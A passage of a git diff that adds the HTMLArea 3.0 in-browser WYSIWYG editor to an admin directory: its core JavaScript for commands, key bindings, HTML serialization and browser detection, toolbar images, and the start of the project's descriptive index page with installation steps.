+           case "lefttoright":
+           case "righttoleft":
+               var dir = (cmdID == "righttoleft") ? "rtl" : "ltr";
+               var el = this.getParentElement();
+               while (el && !HTMLArea.isBlockElement(el))
+                       el = el.parentNode;
+               if (el) {
+                       if (el.style.direction == dir)
+                               el.style.direction = "";
+                       else
+                               el.style.direction = dir;
+               }
+               break;
+           default: this._doc.execCommand(cmdID, UI, param);
+       }
+       this.updateToolbar();
+       return false;
+};
+
+/** A generic event handler for things that happen in the IFRAME's document.
+ * This function also handles key bindings. */
+HTMLArea.prototype._editorEvent = function(ev) {
+       var editor = this;
+       var keyEvent = (HTMLArea.is_ie && ev.type == "keydown") || (ev.type == "keypress");
+
+       if (keyEvent) {
+               for (var i in editor.plugins) {
+                       var plugin = editor.plugins[i].instance;
+                       if (typeof plugin.onKeyPress == "function") plugin.onKeyPress(ev);
+               }
+       }
+       if (keyEvent && ev.ctrlKey && !ev.altKey) {
+               var sel = null;
+               var range = null;
+               var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+               var cmd = null;
+               var value = null;
+               switch (key) {
+                   case 'a':
+                       if (!HTMLArea.is_ie) {
+                               // KEY select all
+                               sel = this._getSelection();
+                               sel.removeAllRanges();
+                               range = this._createRange();
+                               range.selectNodeContents(this._doc.body);
+                               sel.addRange(range);
+                               HTMLArea._stopEvent(ev);
+                       }
+                       break;
+
+                       // simple key commands follow
+
+                   case 'b': cmd = "bold"; break;
+                   case 'i': cmd = "italic"; break;
+                   case 'u': cmd = "underline"; break;
+                   case 's': cmd = "strikethrough"; break;
+                   case 'l': cmd = "justifyleft"; break;
+                   case 'e': cmd = "justifycenter"; break;
+                   case 'r': cmd = "justifyright"; break;
+                   case 'j': cmd = "justifyfull"; break;
+                   case 'z': cmd = "undo"; break;
+                   case 'y': cmd = "redo"; break;
+                   case 'v': cmd = "paste"; break;
+
+                   case '0': cmd = "killword"; break;
+
+                       // headings
+                   case '1':
+                   case '2':
+                   case '3':
+                   case '4':
+                   case '5':
+                   case '6':
+                       cmd = "formatblock";
+                       value = "h" + key;
+                       if (HTMLArea.is_ie) {
+                               value = "<" + value + ">";
+                       }
+                       break;
+               }
+               if (cmd) {
+                       // execute simple command
+                       this.execCommand(cmd, false, value);
+                       HTMLArea._stopEvent(ev);
+               }
+       }
+       /*
+       else if (keyEvent) {
+               // other keys here
+               switch (ev.keyCode) {
+                   case 13: // KEY enter
+                       // if (HTMLArea.is_ie) {
+                       this.insertHTML("<br />");
+                       HTMLArea._stopEvent(ev);
+                       // }
+                       break;
+               }
+       }
+       */
+       // update the toolbar state after some time
+       if (editor._timerToolbar) {
+               clearTimeout(editor._timerToolbar);
+       }
+       editor._timerToolbar = setTimeout(function() {
+               editor.updateToolbar();
+               editor._timerToolbar = null;
+       }, 50);
+};
+
+// retrieve the HTML
+HTMLArea.prototype.getHTML = function() {
+       switch (this._editMode) {
+           case "wysiwyg"  :
+               if (!this.config.fullPage) {
+                       return HTMLArea.getHTML(this._doc.body, false, this);
+               } else
+                       return this.doctype + "\n" + HTMLArea.getHTML(this._doc.documentElement, true, this);
+           case "textmode" : return this._textArea.value;
+           default         : alert("Mode <" + mode + "> not defined!");
+       }
+       return false;
+};
+
+// retrieve the HTML (fastest version, but uses innerHTML)
+HTMLArea.prototype.getInnerHTML = function() {
+       switch (this._editMode) {
+           case "wysiwyg"  :
+               if (!this.config.fullPage)
+                       return this._doc.body.innerHTML;
+               else
+                       return this.doctype + "\n" + this._doc.documentElement.innerHTML;
+           case "textmode" : return this._textArea.value;
+           default         : alert("Mode <" + mode + "> not defined!");
+       }
+       return false;
+};
+
+// completely change the HTML inside
+HTMLArea.prototype.setHTML = function(html) {
+       switch (this._editMode) {
+           case "wysiwyg"  :
+               if (!this.config.fullPage)
+                       this._doc.body.innerHTML = html;
+               else
+                       // this._doc.documentElement.innerHTML = html;
+                       this._doc.body.innerHTML = html;
+               break;
+           case "textmode" : this._textArea.value = html; break;
+           default         : alert("Mode <" + mode + "> not defined!");
+       }
+       return false;
+};
+
+// sets the given doctype (useful when config.fullPage is true)
+HTMLArea.prototype.setDoctype = function(doctype) {
+       this.doctype = doctype;
+};
+
+/***************************************************
+ *  Category: UTILITY FUNCTIONS
+ ***************************************************/
+
+// browser identification
+
+HTMLArea.agt = navigator.userAgent.toLowerCase();
+HTMLArea.is_ie    = ((HTMLArea.agt.indexOf("msie") != -1) && (HTMLArea.agt.indexOf("opera") == -1));
+HTMLArea.is_opera  = (HTMLArea.agt.indexOf("opera") != -1);
+HTMLArea.is_mac           = (HTMLArea.agt.indexOf("mac") != -1);
+HTMLArea.is_mac_ie = (HTMLArea.is_ie && HTMLArea.is_mac);
+HTMLArea.is_win_ie = (HTMLArea.is_ie && !HTMLArea.is_mac);
+HTMLArea.is_gecko  = (navigator.product == "Gecko");
+
+// variable used to pass the object to the popup editor window.
+HTMLArea._object = null;
+
+// function that returns a clone of the given object
+HTMLArea.cloneObject = function(obj) {
+       var newObj = new Object;
+
+       // check for array objects
+       if (obj.constructor.toString().indexOf("function Array(") == 1) {
+               newObj = obj.constructor();
+       }
+
+       // check for function objects (as usual, IE is fucked up)
+       if (obj.constructor.toString().indexOf("function Function(") == 1) {
+               newObj = obj; // just copy reference to it
+       } else for (var n in obj) {
+               var node = obj[n];
+               if (typeof node == 'object') { newObj[n] = HTMLArea.cloneObject(node); }
+               else                         { newObj[n] = node; }
+       }
+
+       return newObj;
+};
+
+// FIXME!!! this should return false for IE < 5.5
+HTMLArea.checkSupportedBrowser = function() {
+       if (HTMLArea.is_gecko) {
+               if (navigator.productSub < 20021201) {
+                       alert("You need at least Mozilla-1.3 Alpha.\n" +
+                             "Sorry, your Gecko is not supported.");
+                       return false;
+               }
+               if (navigator.productSub < 20030210) {
+                       alert("Mozilla < 1.3 Beta is not supported!\n" +
+                             "I'll try, though, but it might not work.");
+               }
+       }
+       return HTMLArea.is_gecko || HTMLArea.is_ie;
+};
+
+// selection & ranges
+
+// returns the current selection object
+HTMLArea.prototype._getSelection = function() {
+       if (HTMLArea.is_ie) {
+               return this._doc.selection;
+       } else {
+               return this._iframe.contentWindow.getSelection();
+       }
+};
+
+// returns a range for the current selection
+HTMLArea.prototype._createRange = function(sel) {
+       if (HTMLArea.is_ie) {
+               return sel.createRange();
+       } else {
+               this.focusEditor();
+               if (typeof sel != "undefined") {
+                       try {
+                               return sel.getRangeAt(0);
+                       } catch(e) {
+                               return this._doc.createRange();
+                       }
+               } else {
+                       return this._doc.createRange();
+               }
+       }
+};
+
+// event handling
+
+HTMLArea._addEvent = function(el, evname, func) {
+       if (HTMLArea.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {
+               el.addEventListener(evname, func, true);
+       }
+};
+
+HTMLArea._addEvents = function(el, evs, func) {
+       for (var i in evs) {
+               HTMLArea._addEvent(el, evs[i], func);
+       }
+};
+
+HTMLArea._removeEvent = function(el, evname, func) {
+       if (HTMLArea.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+HTMLArea._removeEvents = function(el, evs, func) {
+       for (var i in evs) {
+               HTMLArea._removeEvent(el, evs[i], func);
+       }
+};
+
+HTMLArea._stopEvent = function(ev) {
+       if (HTMLArea.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+HTMLArea._removeClass = function(el, className) {
+       if (!(el && el.className)) {
+               return;
+       }
+       var cls = el.className.split(" ");
+       var ar = new Array();
+       for (var i = cls.length; i > 0;) {
+               if (cls[--i] != className) {
+                       ar[ar.length] = cls[i];
+               }
+       }
+       el.className = ar.join(" ");
+};
+
+HTMLArea._addClass = function(el, className) {
+       // remove the class first, if already there
+       HTMLArea._removeClass(el, className);
+       el.className += " " + className;
+};
+
+HTMLArea._hasClass = function(el, className) {
+       if (!(el && el.className)) {
+               return false;
+       }
+       var cls = el.className.split(" ");
+       for (var i = cls.length; i > 0;) {
+               if (cls[--i] == className) {
+                       return true;
+               }
+       }
+       return false;
+};
+
+HTMLArea.isBlockElement = function(el) {
+       var blockTags = " body form textarea fieldset ul ol dl li div " +
+               "p h1 h2 h3 h4 h5 h6 quote pre table thead " +
+               "tbody tfoot tr td iframe address ";
+       return (blockTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+HTMLArea.needsClosingTag = function(el) {
+       var closingTags = " head script style div span tr td tbody table em strong font a title ";
+       return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+// performs HTML encoding of some given string
+HTMLArea.htmlEncode = function(str) {
+       // we don't need regexp for that, but.. so be it for now.
+       str = str.replace(/&/ig, "&amp;");
+       str = str.replace(/</ig, "&lt;");
+       str = str.replace(/>/ig, "&gt;");
+       str = str.replace(/\x22/ig, "&quot;");
+       // \x22 means '"' -- we use hex reprezentation so that we don't disturb
+       // JS compressors (well, at least mine fails.. ;)
+       return str;
+};
+
+// Retrieves the HTML code from the given node.         This is a replacement for
+// getting innerHTML, using standard DOM calls.
+HTMLArea.getHTML = function(root, outputRoot, editor) {
+       var html = "";
+       switch (root.nodeType) {
+           case 1: // Node.ELEMENT_NODE
+           case 11: // Node.DOCUMENT_FRAGMENT_NODE
+               var closed;
+               var i;
+               var root_tag = (root.nodeType == 1) ? root.tagName.toLowerCase() : '';
+               if (HTMLArea.is_ie && root_tag == "head") {
+                       if (outputRoot)
+                               html += "<head>";
+                       // lowercasize
+                       var save_multiline = RegExp.multiline;
+                       RegExp.multiline = true;
+                       var txt = root.innerHTML.replace(HTMLArea.RE_tagName, function(str, p1, p2) {
+                               return p1 + p2.toLowerCase();
+                       });
+                       RegExp.multiline = save_multiline;
+                       html += txt;
+                       if (outputRoot)
+                               html += "</head>";
+                       break;
+               } else if (outputRoot) {
+                       closed = (!(root.hasChildNodes() || HTMLArea.needsClosingTag(root)));
+                       html = "<" + root.tagName.toLowerCase();
+                       var attrs = root.attributes;
+                       for (i = 0; i < attrs.length; ++i) {
+                               var a = attrs.item(i);
+                               if (!a.specified) {
+                                       continue;
+                               }
+                               var name = a.nodeName.toLowerCase();
+                               if (/_moz_editor_bogus_node/.test(name)) {
+                                       html = "";
+                                       break;
+                               }
+                               if (/_moz|contenteditable|_msh/.test(name)) {
+                                       // avoid certain attributes
+                                       continue;
+                               }
+                               var value;
+                               if (name != "style") {
+                                       // IE5.5 reports 25 when cellSpacing is
+                                       // 1; other values might be doomed too.
+                                       // For this reason we extract the
+                                       // values directly from the root node.
+                                       // I'm starting to HATE JavaScript
+                                       // development.  Browser differences
+                                       // suck.
+                                       //
+                                       // Using Gecko the values of href and src are converted to absolute links
+                                       // unless we get them using nodeValue()
+                                       if (typeof root[a.nodeName] != "undefined" && name != "href" && name != "src") {
+                                               value = root[a.nodeName];
+                                       } else {
+                                               value = a.nodeValue;
+                                               // IE seems not willing to return the original values - it converts to absolute
+                                               // links using a.nodeValue, a.value, a.stringValue, root.getAttribute("href")
+                                               // So we have to strip the baseurl manually -/
+                                               if (HTMLArea.is_ie && (name == "href" || name == "src")) {
+                                                       value = editor.stripBaseURL(value);
+                                               }
+                                       }
+                               } else { // IE fails to put style in attributes list
+                                       // FIXME: cssText reported by IE is UPPERCASE
+                                       value = root.style.cssText;
+                               }
+                               if (/(_moz|^$)/.test(value)) {
+                                       // Mozilla reports some special tags
+                                       // here; we don't need them.
+                                       continue;
+                               }
+                               html += " " + name + '="' + value + '"';
+                       }
+                       if (html != "") {
+                               html += closed ? " />" : ">";
+                       }
+               }
+               for (i = root.firstChild; i; i = i.nextSibling) {
+                       html += HTMLArea.getHTML(i, true, editor);
+               }
+               if (outputRoot && !closed) {
+                       html += "</" + root.tagName.toLowerCase() + ">";
+               }
+               break;
+           case 3: // Node.TEXT_NODE
+               // If a text node is alone in an element and all spaces, replace it with an non breaking one
+               // This partially undoes the damage done by moz, which translates '&nbsp;'s into spaces in the data element
+               if ( !root.previousSibling && !root.nextSibling && root.data.match(/^\s*$/i) ) html = '&nbsp;';
+               else html = HTMLArea.htmlEncode(root.data);
+               break;
+           case 8: // Node.COMMENT_NODE
+               html = "<!--" + root.data + "-->";
+               break;          // skip comments, for now.
+       }
+       return html;
+};
+
+HTMLArea.prototype.stripBaseURL = function(string) {
+       var baseurl = this.config.baseURL;
+
+       // strip to last directory in case baseurl points to a file
+       baseurl = baseurl.replace(/[^\/]+$/, '');
+       var basere = new RegExp(baseurl);
+       string = string.replace(basere, "");
+
+       // strip host-part of URL which is added by MSIE to links relative to server root
+       baseurl = baseurl.replace(/^(https?:\/\/[^\/]+)(.*)$/, '$1');
+       basere = new RegExp(baseurl);
+       return string.replace(basere, "");
+};
+
+String.prototype.trim = function() {
+       a = this.replace(/^\s+/, '');
+       return a.replace(/\s+$/, '');
+};
+
+// creates a rgb-style color from a number
+HTMLArea._makeColor = function(v) {
+       if (typeof v != "number") {
+               // already in rgb (hopefully); IE doesn't get here.
+               return v;
+       }
+       // IE sends number; convert to rgb.
+       var r = v & 0xFF;
+       var g = (v >> 8) & 0xFF;
+       var b = (v >> 16) & 0xFF;
+       return "rgb(" + r + "," + g + "," + b + ")";
+};
+
+// returns hexadecimal color representation from a number or a rgb-style color.
+HTMLArea._colorToRgb = function(v) {
+       if (!v)
+               return '';
+
+       // returns the hex representation of one byte (2 digits)
+       function hex(d) {
+               return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
+       };
+
+       if (typeof v == "number") {
+               // we're talking to IE here
+               var r = v & 0xFF;
+               var g = (v >> 8) & 0xFF;
+               var b = (v >> 16) & 0xFF;
+               return "#" + hex(r) + hex(g) + hex(b);
+       }
+
+       if (v.substr(0, 3) == "rgb") {
+               // in rgb(...) form -- Mozilla
+               var re = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/;
+               if (v.match(re)) {
+                       var r = parseInt(RegExp.$1);
+                       var g = parseInt(RegExp.$2);
+                       var b = parseInt(RegExp.$3);
+                       return "#" + hex(r) + hex(g) + hex(b);
+               }
+               // doesn't match RE?!  maybe uses percentages or float numbers
+               // -- FIXME: not yet implemented.
+               return null;
+       }
+
+       if (v.substr(0, 1) == "#") {
+               // already hex rgb (hopefully :D )
+               return v;
+       }
+
+       // if everything else fails ;)
+       return null;
+};
+
+// modal dialogs for Mozilla (for IE we're using the showModalDialog() call).
+
+// receives an URL to the popup dialog and a function that receives one value;
+// this function will get called after the dialog is closed, with the return
+// value of the dialog.
+HTMLArea.prototype._popupDialog = function(url, action, init) {
+       Dialog(this.popupURL(url), action, init);
+};
+
+// paths
+
+HTMLArea.prototype.imgURL = function(file, plugin) {
+       if (typeof plugin == "undefined")
+               return _editor_url + file;
+       else
+               return _editor_url + "plugins/" + plugin + "/img/" + file;
+};
+
+HTMLArea.prototype.popupURL = function(file) {
+       var url = "";
+       if (file.match(/^plugin:\/\/(.*?)\/(.*)/)) {
+               var plugin = RegExp.$1;
+               var popup = RegExp.$2;
+               if (!/\.html$/.test(popup))
+                       popup += ".html";
+               url = _editor_url + "plugins/" + plugin + "/popups/" + popup;
+       } else
+               url = _editor_url + this.config.popupURL + file;
+       return url;
+};
+
+/**
+ * FIX: Internet Explorer returns an item having the _name_ equal to the given
+ * id, even if it's not having any id.  This way it can return a different form
+ * field even if it's not a textarea.  This workarounds the problem by
+ * specifically looking to search only elements having a certain tag name.
+ */
+HTMLArea.getElementById = function(tag, id) {
+       var el, i, objs = document.getElementsByTagName(tag);
+       for (i = objs.length; --i >= 0 && (el = objs[i]);)
+               if (el.id == id)
+                       return el;
+       return null;
+};
+
+
+
+// EOF
+// Local variables: //
+// c-basic-offset:8 //
+// indent-tabs-mode:t //
+// End: //
diff --git a/admin/htmlarea/images/ed_about.gif b/admin/htmlarea/images/ed_about.gif
new file mode 100755 (executable)
index 0000000..f0a338b
Binary files /dev/null and b/admin/htmlarea/images/ed_about.gif differ
diff --git a/admin/htmlarea/images/ed_align_center.gif b/admin/htmlarea/images/ed_align_center.gif
new file mode 100755 (executable)
index 0000000..9505db2
Binary files /dev/null and b/admin/htmlarea/images/ed_align_center.gif differ
diff --git a/admin/htmlarea/images/ed_align_justify.gif b/admin/htmlarea/images/ed_align_justify.gif
new file mode 100755 (executable)
index 0000000..29cf731
Binary files /dev/null and b/admin/htmlarea/images/ed_align_justify.gif differ
diff --git a/admin/htmlarea/images/ed_align_left.gif b/admin/htmlarea/images/ed_align_left.gif
new file mode 100755 (executable)
index 0000000..d0356d4
Binary files /dev/null and b/admin/htmlarea/images/ed_align_left.gif differ
diff --git a/admin/htmlarea/images/ed_align_right.gif b/admin/htmlarea/images/ed_align_right.gif
new file mode 100755 (executable)
index 0000000..b9f7a96
Binary files /dev/null and b/admin/htmlarea/images/ed_align_right.gif differ
diff --git a/admin/htmlarea/images/ed_blank.gif b/admin/htmlarea/images/ed_blank.gif
new file mode 100755 (executable)
index 0000000..1ea396b
Binary files /dev/null and b/admin/htmlarea/images/ed_blank.gif differ
diff --git a/admin/htmlarea/images/ed_charmap.gif b/admin/htmlarea/images/ed_charmap.gif
new file mode 100755 (executable)
index 0000000..9fac54d
Binary files /dev/null and b/admin/htmlarea/images/ed_charmap.gif differ
diff --git a/admin/htmlarea/images/ed_color_bg.gif b/admin/htmlarea/images/ed_color_bg.gif
new file mode 100755 (executable)
index 0000000..8b464c9
Binary files /dev/null and b/admin/htmlarea/images/ed_color_bg.gif differ
diff --git a/admin/htmlarea/images/ed_color_fg.gif b/admin/htmlarea/images/ed_color_fg.gif
new file mode 100755 (executable)
index 0000000..44af9c4
Binary files /dev/null and b/admin/htmlarea/images/ed_color_fg.gif differ
diff --git a/admin/htmlarea/images/ed_copy.gif b/admin/htmlarea/images/ed_copy.gif
new file mode 100755 (executable)
index 0000000..975740a
Binary files /dev/null and b/admin/htmlarea/images/ed_copy.gif differ
diff --git a/admin/htmlarea/images/ed_custom.gif b/admin/htmlarea/images/ed_custom.gif
new file mode 100755 (executable)
index 0000000..9529a52
Binary files /dev/null and b/admin/htmlarea/images/ed_custom.gif differ
diff --git a/admin/htmlarea/images/ed_cut.gif b/admin/htmlarea/images/ed_cut.gif
new file mode 100755 (executable)
index 0000000..2066038
Binary files /dev/null and b/admin/htmlarea/images/ed_cut.gif differ
diff --git a/admin/htmlarea/images/ed_delete.gif b/admin/htmlarea/images/ed_delete.gif
new file mode 100755 (executable)
index 0000000..3c3df5b
Binary files /dev/null and b/admin/htmlarea/images/ed_delete.gif differ
diff --git a/admin/htmlarea/images/ed_format_bold.gif b/admin/htmlarea/images/ed_format_bold.gif
new file mode 100755 (executable)
index 0000000..c6291f0
Binary files /dev/null and b/admin/htmlarea/images/ed_format_bold.gif differ
diff --git a/admin/htmlarea/images/ed_format_italic.gif b/admin/htmlarea/images/ed_format_italic.gif
new file mode 100755 (executable)
index 0000000..7bb67aa
Binary files /dev/null and b/admin/htmlarea/images/ed_format_italic.gif differ
diff --git a/admin/htmlarea/images/ed_format_strike.gif b/admin/htmlarea/images/ed_format_strike.gif
new file mode 100755 (executable)
index 0000000..0e00304
Binary files /dev/null and b/admin/htmlarea/images/ed_format_strike.gif differ
diff --git a/admin/htmlarea/images/ed_format_sub.gif b/admin/htmlarea/images/ed_format_sub.gif
new file mode 100755 (executable)
index 0000000..effcf57
Binary files /dev/null and b/admin/htmlarea/images/ed_format_sub.gif differ
diff --git a/admin/htmlarea/images/ed_format_sup.gif b/admin/htmlarea/images/ed_format_sup.gif
new file mode 100755 (executable)
index 0000000..1b6f401
Binary files /dev/null and b/admin/htmlarea/images/ed_format_sup.gif differ
diff --git a/admin/htmlarea/images/ed_format_underline.gif b/admin/htmlarea/images/ed_format_underline.gif
new file mode 100755 (executable)
index 0000000..ef8c19e
Binary files /dev/null and b/admin/htmlarea/images/ed_format_underline.gif differ
diff --git a/admin/htmlarea/images/ed_help.gif b/admin/htmlarea/images/ed_help.gif
new file mode 100755 (executable)
index 0000000..06c2256
Binary files /dev/null and b/admin/htmlarea/images/ed_help.gif differ
diff --git a/admin/htmlarea/images/ed_hr.gif b/admin/htmlarea/images/ed_hr.gif
new file mode 100755 (executable)
index 0000000..9f6e5e8
Binary files /dev/null and b/admin/htmlarea/images/ed_hr.gif differ
diff --git a/admin/htmlarea/images/ed_html.gif b/admin/htmlarea/images/ed_html.gif
new file mode 100755 (executable)
index 0000000..807f084
Binary files /dev/null and b/admin/htmlarea/images/ed_html.gif differ
diff --git a/admin/htmlarea/images/ed_image.gif b/admin/htmlarea/images/ed_image.gif
new file mode 100755 (executable)
index 0000000..9d2bff1
Binary files /dev/null and b/admin/htmlarea/images/ed_image.gif differ
diff --git a/admin/htmlarea/images/ed_indent_less.gif b/admin/htmlarea/images/ed_indent_less.gif
new file mode 100755 (executable)
index 0000000..f320b3e
Binary files /dev/null and b/admin/htmlarea/images/ed_indent_less.gif differ
diff --git a/admin/htmlarea/images/ed_indent_more.gif b/admin/htmlarea/images/ed_indent_more.gif
new file mode 100755 (executable)
index 0000000..a67139d
Binary files /dev/null and b/admin/htmlarea/images/ed_indent_more.gif differ
diff --git a/admin/htmlarea/images/ed_left_to_right.gif b/admin/htmlarea/images/ed_left_to_right.gif
new file mode 100755 (executable)
index 0000000..9edfa63
Binary files /dev/null and b/admin/htmlarea/images/ed_left_to_right.gif differ
diff --git a/admin/htmlarea/images/ed_link.gif b/admin/htmlarea/images/ed_link.gif
new file mode 100755 (executable)
index 0000000..76e568b
Binary files /dev/null and b/admin/htmlarea/images/ed_link.gif differ
diff --git a/admin/htmlarea/images/ed_list_bullet.gif b/admin/htmlarea/images/ed_list_bullet.gif
new file mode 100755 (executable)
index 0000000..caedfd2
Binary files /dev/null and b/admin/htmlarea/images/ed_list_bullet.gif differ
diff --git a/admin/htmlarea/images/ed_list_num.gif b/admin/htmlarea/images/ed_list_num.gif
new file mode 100755 (executable)
index 0000000..427839d
Binary files /dev/null and b/admin/htmlarea/images/ed_list_num.gif differ
diff --git a/admin/htmlarea/images/ed_paste.gif b/admin/htmlarea/images/ed_paste.gif
new file mode 100755 (executable)
index 0000000..13e2324
Binary files /dev/null and b/admin/htmlarea/images/ed_paste.gif differ
diff --git a/admin/htmlarea/images/ed_redo.gif b/admin/htmlarea/images/ed_redo.gif
new file mode 100755 (executable)
index 0000000..2bc002a
Binary files /dev/null and b/admin/htmlarea/images/ed_redo.gif differ
diff --git a/admin/htmlarea/images/ed_right_to_left.gif b/admin/htmlarea/images/ed_right_to_left.gif
new file mode 100755 (executable)
index 0000000..231f183
Binary files /dev/null and b/admin/htmlarea/images/ed_right_to_left.gif differ
diff --git a/admin/htmlarea/images/ed_save.gif b/admin/htmlarea/images/ed_save.gif
new file mode 100755 (executable)
index 0000000..df3aaab
Binary files /dev/null and b/admin/htmlarea/images/ed_save.gif differ
diff --git a/admin/htmlarea/images/ed_save.png b/admin/htmlarea/images/ed_save.png
new file mode 100755 (executable)
index 0000000..348f64c
Binary files /dev/null and b/admin/htmlarea/images/ed_save.png differ
diff --git a/admin/htmlarea/images/ed_show_border.gif b/admin/htmlarea/images/ed_show_border.gif
new file mode 100755 (executable)
index 0000000..9e3fdd2
Binary files /dev/null and b/admin/htmlarea/images/ed_show_border.gif differ
diff --git a/admin/htmlarea/images/ed_splitcel.gif b/admin/htmlarea/images/ed_splitcel.gif
new file mode 100755 (executable)
index 0000000..a619d8a
Binary files /dev/null and b/admin/htmlarea/images/ed_splitcel.gif differ
diff --git a/admin/htmlarea/images/ed_undo.gif b/admin/htmlarea/images/ed_undo.gif
new file mode 100755 (executable)
index 0000000..f90faad
Binary files /dev/null and b/admin/htmlarea/images/ed_undo.gif differ
diff --git a/admin/htmlarea/images/fullscreen_maximize.gif b/admin/htmlarea/images/fullscreen_maximize.gif
new file mode 100755 (executable)
index 0000000..07620bc
Binary files /dev/null and b/admin/htmlarea/images/fullscreen_maximize.gif differ
diff --git a/admin/htmlarea/images/fullscreen_minimize.gif b/admin/htmlarea/images/fullscreen_minimize.gif
new file mode 100755 (executable)
index 0000000..09c0383
Binary files /dev/null and b/admin/htmlarea/images/fullscreen_minimize.gif differ
diff --git a/admin/htmlarea/images/insert_table.gif b/admin/htmlarea/images/insert_table.gif
new file mode 100755 (executable)
index 0000000..027f7c8
Binary files /dev/null and b/admin/htmlarea/images/insert_table.gif differ
diff --git a/admin/htmlarea/images/makefile.xml b/admin/htmlarea/images/makefile.xml
new file mode 100755 (executable)
index 0000000..b25815d
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.{gif,jpg,jpeg}" />
+</files>
diff --git a/admin/htmlarea/index.html b/admin/htmlarea/index.html
new file mode 100755 (executable)
index 0000000..0341094
--- /dev/null
@@ -0,0 +1,211 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+  <head>
+    <title>HTMLArea -- the free, customizable online editor</title>
+
+    <style type="text/css">
+      html, body { font-family: georgia,"times new roman",serif; background-color: #fff; color: #000; }
+      .label { text-align: right; padding-right: 0.3em; }
+      .bline { border-bottom: 1px solid #aaa; }
+    </style>
+  </head>
+
+  <body>
+    <div style="float: right; border: 1px solid #aaa; background-color: #eee; padding: 3px; margin-left: 10px; margin-bottom: 10px;">
+      <table cellspacing="0" cellpadding="0" border="0">
+        <tr>
+          <td class="label">Version:</td><td><% $version %></td>
+        </tr>
+        <tr>
+          <td class="label">Release:</td><td><% $release %> (<a href="release-notes.html">release notes</a>)</td>
+        </tr>
+        <tr>
+          <td class="label bline">Compiled at:</td><td class="bline"><% $time %></td>
+        </tr>
+        <tr>
+          <td class="label">SourceForge page:</td><td><a href="http://sf.net/projects/itools-htmlarea/">http://sf.net/projects/itools-htmlarea/</a></td>
+      </table>
+    </div>
+    <h1>HTMLArea -- the free<br/>customizable online editor</h1>
+
+    <p>
+      HTMLArea is a free, customizable online editor.  It works inside your
+      browser.  It uses a non-standard feature implemented in Internet
+      Explorer 5.5 or better for Windows and Mozilla 1.3 or better (any
+      platform), therefore it will only work in one of these browsers.
+    </p>
+
+    <p>
+      HTMLArea is copyright <a
+      href="http://interactivetools.com">InteractiveTools.com</a> and <a
+      href="http://dynarch.com">Dynarch.com</a> and it is
+      released under a BSD-style license.  HTMLArea is created and developed
+      upto version 2.03 by InteractiveTools.com.  Version 3.0 developed by
+      <a href="http://dynarch.com/mishoo/">Mihai Bazon</a> for
+      InteractiveTools.  It contains code sponsored by third-party companies as well.
+      Please see our About Box for details about who sponsored what plugins.
+    </p>
+
+    <h2>Online demos</h2>
+
+    <ul>
+               <li><a href="examples/images.html">Image Manager Version</a> -- Contains the image manger plugin.</li>
+               
+      <li><a href="examples/core.html">HTMLArea standard</a> -- contains the core
+        editor.</li>
+
+      <li><a href="examples/table-operations.html">HTMLArea + tables</a> --
+        loads the <tt>TableOperations</tt> plugin which provides some extra
+        editing features for tables.</li>
+
+      <li><a href="examples/spell-checker.html">HTMLArea + spell checher</a>
+        -- loads the <tt>SpellChecker</tt> plugin which provides what its
+        name says: a spell checker.  This one requires additional support on
+        the server-side.</li>
+
+      <li><a href="examples/full-page.html">HTMLArea Full HTML Editor</a> --
+        loads the <tt>FullPage</tt> plugin which allows you to edit a full
+        HTML page, including &lt;title&gt;, &lt;!DOCTYPE...&gt; and some
+        other options.</li>
+
+      <li><a href="examples/context-menu.html">HTMLArea with Context
+          Menu</a> -- this plugin provides a nice and useful context menu.</li>
+
+      <li><a href="examples/fully-loaded.html">HTMLArea fully loaded</a> --
+        all of the above. ;-)</li>
+
+    </ul>
+
+    <h2>Installation</h2>
+
+    <p>
+      Installation is (or should be) easy.  You need to unpack the ZIP file
+      in a directory accessible through your webserver.  Supposing you
+      unpack in your <tt>DocumentRoot</tt> and your <tt>DocumentRoot</tt> is
+      <tt>/var/www/html</tt> as in a standard RedHat installation, you need
+      to acomplish the following steps: (the example is for a Unix-like
+      operating system)
+    </p>
+
+    <pre style="margin-left: 2em"
+>
+cd /var/www/html
+unzip /path/to/archive/<% $basename %>.zip
+mv <% $basename %> htmlarea
+find htmlarea/ -type f -exec chmod 644 {} \;
+find htmlarea/ -type d -exec chmod 755 {} \;
+find htmlarea/ -name "*.cgi" -exec chmod 755 {} \;</pre>
+
+    <p>
+      <strong>Notes.</strong> You may chose to symlink "htmlarea" to "<%
+      $basename %>", in which case your server needs to be configured to
+      "<tt>FollowSymLinks</tt>".  You need to make sure that *.cgi files are
+      interpreted as CGI scripts.  If you want to use the SpellChecker
+      plugin you need to have a recent version of Perl installed (I
+      recommend 5.8.0) on the server, and the module Text::Aspell, available
+      from CPAN.  More info in "<a
+      href="plugins/SpellChecker/readme-tech.html">plugins/SpellChecker/readme-tech.html</a>".
+    </p>
+
+    <p>About how to setup your pages to use the editor, please read the
+      [outdated yet generally valid] <a
+        href="reference.html">documentation</a>.</p>
+
+    <h2>Status and links</h2>
+
+    <p>HTMLArea has reached version 3.0.  As of this version, it
+      supports:</p>
+
+    <ul>
+
+      <li>Customizable toolbar</li>
+
+      <li>Easy internationalization</li>
+
+      <li>Plugin-based infrastructure</li>
+
+      <li>Delivers W3-compliant HTML (with few exceptions)</li>
+
+      <li>Has a subset of Microsoft Word's keyboard shortcuts</li>
+
+      <li>Full-screen editor</li>
+
+      <li>Advanced table operations (by external plugin
+        "TableOperations")</li>
+
+      <li>Spell checker (by external plugin "SpellChecker")</li>
+
+      <li>probably more... ;-)</li>
+
+    </ul>
+
+    <p>We have a <a
+    href="http://sourceforge.net/projects/itools-htmlarea/">project page</a>
+    at <a href="http://sourceforge.net">SourceForge.net</a>.  There you can
+    also find out <a href="http://sourceforge.net/cvs/?group_id=69750">how
